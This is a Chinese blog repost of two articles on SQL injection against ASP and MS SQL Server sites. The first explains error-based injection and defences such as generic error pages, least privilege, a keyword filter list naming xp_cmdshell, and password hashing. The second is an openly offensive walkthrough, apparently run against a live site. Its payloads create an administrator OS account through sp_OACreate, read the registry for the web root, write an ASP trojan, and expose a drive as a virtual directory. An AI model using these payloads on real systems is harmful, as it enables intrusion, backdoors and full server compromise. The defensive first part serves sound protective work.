SQL注入攻擊的原理及其防範措施

SQL注入攻擊的原理及其防範措施

ASP編程門檻很低,新手很容易上路。在一段不長的時間裏,新手往往就已經能夠編出看來比較完美的動

態網站,在功能上,老手能做到的,新手也能夠做到。那麼新手與老手就沒區別了嗎?這裏面區別可就大

了,只不過外行人很難一眼就看出來罷了。在界面的友好性、運行性能以及網站的安全性方面是新手與老

手之間區別的三個集中點。而在安全性方面,新手最容易忽略的問題就是SQL注入漏洞的問題。用NBSI

2.0對網上的一些ASP網站稍加掃描,就能發現許多ASP網站存在SQL注入漏洞,教育網裏高校內部機構的一

些網站這種漏洞就更普遍了,可能這是因爲這些網站大都是一些學生做的緣故吧,雖然個個都很聰明,可

是畢竟沒有經驗,而且處於學習中,難免漏洞多多了。本文主要講講SQL注入的防範措施,而要明白這些

防範措施的用處,須先詳細講解利用SQL注入漏洞入侵的過程。新手們看明白啦。

  相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安

全隱患。如這是一個正常的網址http://localhost/lawjia/show.asp?ID=444,將這個網址提交到服務器

後,服務器將進行類似Select * from 表名 where

字段="&ID的查詢(ID即客戶端提交的參數,本例是即444),再將查詢結果返回給客戶端,如果這裏客戶端

故意提交這麼一個網址:

  http://localhost/lawjia/show.asp?ID=444 and user>0,這時,服務器運行Select * from 表名

where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:

  ·錯誤類型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'sonybb' 轉換爲數據類型爲 int

的列時發生語法錯誤。
/lawjia/show.asp, 第 47 行

  但是別有用心的人從這個出錯信息中,可以獲得以下信息:該站使用MS_SQL數據庫,用ODBC連接,

連接帳號名爲:sonybb。所謂SQL注入(SQL Injection),就是利用程序員對用戶輸入數據的合法性檢測

不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的

資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當某個人知道網站管理員帳號存在表

login中,管理員帳號名爲admin,他想知道管理員密碼,這裏他從客戶端接着提交這樣一個網址:
http://localhost/lawjia/show.asp?ID=444 and (Select password from login where

user_name='admin')>0,返回的出錯信息如下:

  ·錯誤類型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 '!@#*&admin' 轉換爲數據類

型爲 int 的列時發生語法錯誤。
/lawjia/show.asp, 第 47 行

  你知道嗎?上面標紅的部分就是管理員帳號admin的密碼!雖然很複雜,讓人看幾遍也記不住的,但

它就這樣顯示在你面前了,這時您就可以用這個帳號和密碼接管人家的網站了!這時你可能還會說,如果

他不是事先知道管理員帳號存在表login中,而且知道管理員帳號爲admin,那他就不可能獲得管理員密碼

。你錯了,只要人家願意多花時間嘗試,他將可以獲得數據庫連接帳號權限內所能獲得的所有信息!具體

過程請參看網上的這篇文章:





圖1(圖中的示例網站在作者本地電腦上運行)





  不知那些沒注意過SQL注入漏洞的ASP程序員們看了上圖的例子,要作何感想呢?是不是覺得這個所謂

的網站安全漏洞檢測工具SBSI 2.0簡直就是MS_SQL的企業管理器呢?只不過人家不需要帳號和密碼就可以

查看您數據庫裏的所有信息了。如果您的網站就這樣被人不費吹灰之力入侵了,您是不是要吐幾升血了呢

?也許您已經爲系統安全費盡心思了,裝補丁、安防火牆、裝殺毒軟件、巧妙配置IIS及數據庫用戶權限

,但您就是沒有注意到SQL注入漏洞,於是"千里之堤,潰於蟻穴"。防火牆與殺毒軟件對SQL注入是沒辦法

防範的,因爲SQL注入入侵跟普通的WEB頁面訪問沒什麼區別,所以往往是防不甚防。而且一個服務器上放

置的網站往往是有很多個的,服務器管理員不可能挨個網站挨個頁面的審查其是否存在SQL注入漏洞。那

麼應該如何防範SQL注入入侵呢?作爲服務器管理員或網站程序員應該分別怎麼做呢?服務器管理員要做

的事主要是配置IIS和數據庫用戶權限,而網站程序員主要是要在程序代碼編寫上防範SQL注入入侵。下面

詳細敘述:

  對了服務器管理員,既然你不可能挨個檢查每個網站是否存在SQL注入漏洞,那麼就來個一個絕招。

這個絕招能有效防止SQL注入入侵而且"省心又省力,效果真好!"SQL注入入侵是根據IIS給出的ASP錯誤提

示信息來入侵的,如果你把IIS設置成不管出什麼樣的ASP錯誤,只給出一種錯誤提示信息,即http 500錯

誤,那麼人家就沒辦法入侵了。具體設置請參看圖2。主要把500:100這個錯誤的默認提示頁面

C:/WINDOWS/Help/iisHelp/common/500-100.asp改成
C:/WINDOWS/Help/iisHelp/common/500.htm即可,這時,無論ASP運行中出什麼錯,服務器都只提示HTTP

 500錯誤。



圖2、IIS出錯信息設置
  但是這樣設置一個不好的地方是程序員編寫的代碼出錯時,服務器不給出詳細的錯誤提示信息,會給

程序員帶來很大的不便。不過,服務器畢竟不是測試代碼的地方,應堅持安全穩定第一,這樣設置也是無

可厚非的,事實上許多服務器的出錯信息都是如此設置。

  服務器管理員還應在IIS中爲每個網站設置好執行權限,可千萬別給人家靜態網站以"腳本和可執行"

權限。一般情況下給個"純腳本"權限就夠了,對於那些通過網站後臺管理中心上傳的文件存放的目錄,就

更吝嗇一點吧,執行權限設爲"無"好了,這樣做是爲了防止人家上傳ASP木馬,執行權限設爲"無",人家

上傳ASP木馬也運行不了。一般情況下,SQL注入漏洞僅是涉及一個網站安全的事,如果人家通過這個漏洞

上傳了ASP木馬並運行起來,那整個服務器都失陷了。所以有遠見的、有責任心的服務器管理員應該十分

吝嗇的配置IIS的執行權限。

  同樣的吝嗇態度應適用於數據庫用戶的權限配置上,當然這裏數據庫是指MS_SQL啦,ACCESS都沒有

用戶權限配置這一步驟。如果PUBLIC權限足夠使用的絕不給再高的權限,可千萬別把SA級別的權限隨隨便

便地給人家啊。那個所謂的網站安全漏洞檢測工具NBSI 2.0可有跨庫進行SQL注入的功能啊,如果你把SA

權限給了存在SQL注入漏洞的庫,那其它庫就不保啦!城門失火,殃及池魚呀。而人家還可以通過調用xp_

cmdshell命令得到系統的最高權限。具體步驟還是請參看上面提到的那篇《SQL注入漏洞全接觸》這篇文

章吧。

  接下來要講講程序員的防範措施了。程序主要要做兩件事,最重要的一件事,當然是對客戶端提交的

變量參數進行仔細地檢測啦。對客戶端提交的變量進行檢查以防止SQL注入,有各種方法,到http://comm

unity.csdn.net/上搜索一下,你能獲得許多有益信息。這裏介紹一種現成的方法,別人已經寫好了檢測

代碼,拿來用一下,不用自己辛苦啦。那就是"楓葉SQL通用防注入V1.0 ASP版",這是一段對用戶通過網

址提交過來的變量參數進行檢查的代碼,發現客戶端提交的參數中有"exec、insert、select、delete、f

rom、update、count、user、xp_cmdshell、add、net、Asc"等用於SQL注入的常用字符時,立即停止執行

ASP並給出警告信息或轉向出錯頁面。大家可以到網上搜索一下,下載這段代碼,存爲一個ASP頁面,如ch

eckSQL.asp,把這個頁面include到每個需要帶參數查詢SQL數據庫ASP頁面中,記住,只要加一行這樣的<

!--#include file="checkSQL.asp"-->代碼就行了。

  程序員要做的第二件事是給用戶密碼加密啦。比如用MD5加密。MD5是沒有反向算法,不能解密的。人

家即使知道經加密後存在數據庫裏的像亂碼一樣的密碼,他也沒辦法知道原始密碼了。不過,人家可以用

UPDATE方法用他的密碼代替你的密碼,但這個操作還是有點麻煩,人家可能會怕麻煩而放棄。而那個所謂

的網站安全漏洞檢測工具NBSI 2.0是沒有提供UPDATE操作功能的,所以用MD5加密後,人家僅用NBSI 2.0

而不輔以手動操作的話,就不可能獲得網站管理員帳號的密碼,這將擋住許多菜鳥級的攻擊者,至少那些

既不懂ASP又不懂SQL、年紀小小的男性青年是沒有辦法啦!

  文章寫到這,已經夠長了,本來還想對那些所謂的網站安全漏洞檢測工具如NBSI之流的黑客工具進行

一番理性的探討的,看來還是放棄好了。爲了增強網站安全,瞭解攻擊手段是必須的,但是,利用漏洞開

發專門的黑客工具,使那些其實並不具備必要的網絡技術和網絡安全知識的人(就是文中提到的"既不懂A

SP又不懂SQL、年紀小小的男性青年")輕而易舉地侵入一家網站,這除了爲許多網絡管理員製造麻煩外,

是否還具有加強網絡安全意識提高網絡安全水平的功效呢?

榨乾MS SQL Server 最後一滴血




風雲變換的網絡,網絡安全讓人們不能不關注它。數據庫,讓我們不得不想起強大的ORACLE,MS SQL。微

軟的漏洞最多,今天就用SQL INJECTION來讓MS SQL爲我們好好的工作。

  以下(使用一知名網站作爲測試點),相信大家對SQL爆庫,爆表,爆字段都已掌握,在這裏就不多

說這方面了。

  MS SQL內置函數介紹:

  @@VERSION 獲得Windows的版本號,MS SQL的版本號,補丁。 User_name() 得到當前系統的連接用戶

Db_name() 得到當前連接的數據庫 HOST_NAME() 得到當前主機的名稱

  這些信息有助我們對系統進行簡單的瞭解

  好,下面我們就開始吧!

  語句:

http://www.xxx.com/list.asp?classid=1'
  返回信息:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14' 字符串 ' Order By Id DESC' 之前有未

閉合的引號。 /list.asp,行290
  從這裏未閉合的引號(“’”),我們可以確定存在SQL INJECTION。發現在漏洞當然接着走了,利

用以上介紹的函數爲我們工作了:

  語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)
  返回:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'Microsoft SQL

Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft

Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換爲數據類

型爲 int 的列時發生語法錯誤。 /list.asp,行290
  相關的信息出來了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,從MS SQL SERVER 後面

的8.00.760可看出是SP3補丁。看了服務器的信息,接下應該瞭解數據庫的權限了:

  語句:

http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’
  返回: 正常返回的信息

  確定是權限是DBO,從表面DBO權限的連接用戶經常是涉及SYSADMIN服務器角色成員。說明數據庫服務

器角色成員組默認是在每個數據庫增加一個DBO用戶。

  返回原理根1=1,1=2相似..這裏只是權限測試,我們也把它爆出來看看:

  語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())
  返回:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'dbo' 轉換爲數據類型

爲 int 的列時發生語法錯誤。 /list.asp,行290
  說明連接數據庫的用戶權限很高,可以確定是服務器角色組中的成員。

  語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft

OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'GameIMGSys' 轉換爲數據類型爲

int 的列時發生語法錯誤。 /list.asp,行290

  這樣就可以爆出當前的數據庫。得到這麼高權限的數據庫連接成員,我們當然想直接得到WEBSHELL,

或是直接拿到NT ADMIN。NT ADMIN取決於當前服務器的配置,如果配置不合理的服務器,我們要直接拿NT

ADMIN,拿NT ADMIN就要用到:

  MSSQL內置存儲過程:

  sp_OACreate (通過它,危害很得更大,但是需要有SYSADMINS權限纔可能使用) sp_OAGetErrorInfo

sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop

  由於MS SQL一次可以執行多語句,使得我們有機會使用更多的語句。

  語句:

http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE

'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null,

'C:/WINNT/system32/cmd.exe /c net user cntest chinatest /add'
  正常返回。(提示:如果主機上shell存在的話那將在服務器上創建一個cntest的用戶)

  創建用戶了,語句後再加個net localgroup administrators cntest /add加到管理組中。 如果對方

的機子開着3389端口,或IPC的話,那接下來的事,就不用我多說了。

  遇到專業型主機,只開一個80端口,那應該怎麼辦呢?當然,我們還是可能拿到WEBSHELL,再慢慢滲

透的。

  由於權限高,我們可能先建表,寫入ASP木馬的數據再通過MAKEWEBTASK,得到WEBSEHLL.手工寫入的程

序太過於繁鎖,上傳WEBSHELL最大的問題還是網頁目錄,現在網上已經有現成的工具通過BACKUP,和MASK

WEBTASK的工具得到WEBSHELL了。以下推薦,獲取網頁路徑(通過存儲過程達到對註冊表的讀取):

  利用內置存儲過程 xp_regread(讀取註冊表鍵值,權限public):

  語句:

http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths

varchar(500)) Declare @test varchar(20) exec master..xp_regread

@rootkey='HKEY_LOCAL_MACHINE',

@key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/',

values=@test OUTPUT insert into paths(path) values(@test)
  IIS的默認路徑的在註冊表中HKEY_LOCAL_MACHINE/

SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/

  利用爆字段將數據庫的值讀出來:

  語句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)
  返回:

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07' [Microsoft][ODBC SQL Server

Driver][SQL Server]將 varchar 值 'E:/www,,201' 轉換爲數據類型爲 int 的列時發生語法錯誤。
  這說明網頁目錄在E:/www,接下來也可以利用FSO直接寫入ASP木馬(提示必須擁用SYSADMIN權限才

可使用FSO和FSO開入的前提下) :

  語句:

http://www.xxx.com/list.asp?class=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.f

ilesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:/www/test.asp',
1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'
  在E:/WWW下創建一個test.asp並寫入On Error Resume next語句:

http://www.xxx.com/list.asp?classid=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.f

ilesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',
%20@f%20out,%20'e:/www/test.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20N

ULL,%20'asp horse '
  在E:/WWW/test.asp增加一行記錄,記錄爲asp horse, 整個完整木馬可能這樣寫入。(%百分號要用

%25替代寫入)。如果得不到網頁目錄,怎麼辦呢?前提你要猜到網站是否使用默認WEB,或者使用域名作

爲WEB。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’

cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默認 Web 站點" -v "e","e:/"’
  在默認的WEB站點下創建一個虛擬目錄E,指向E:盤下。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’

cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse’
  給虛擬目錄e加上瀏覽屬性不錯吧。給自己開虛擬服務。想那些網頁目錄路徑,頭都快破了。這下給

自己一個天開眼了。那傳WEBSHELL利用MS SQL爲我們的工作告了一段落了,接下來工作應該由你來了。
發佈了93 篇原創文章 · 獲贊 0 · 訪問量 14萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章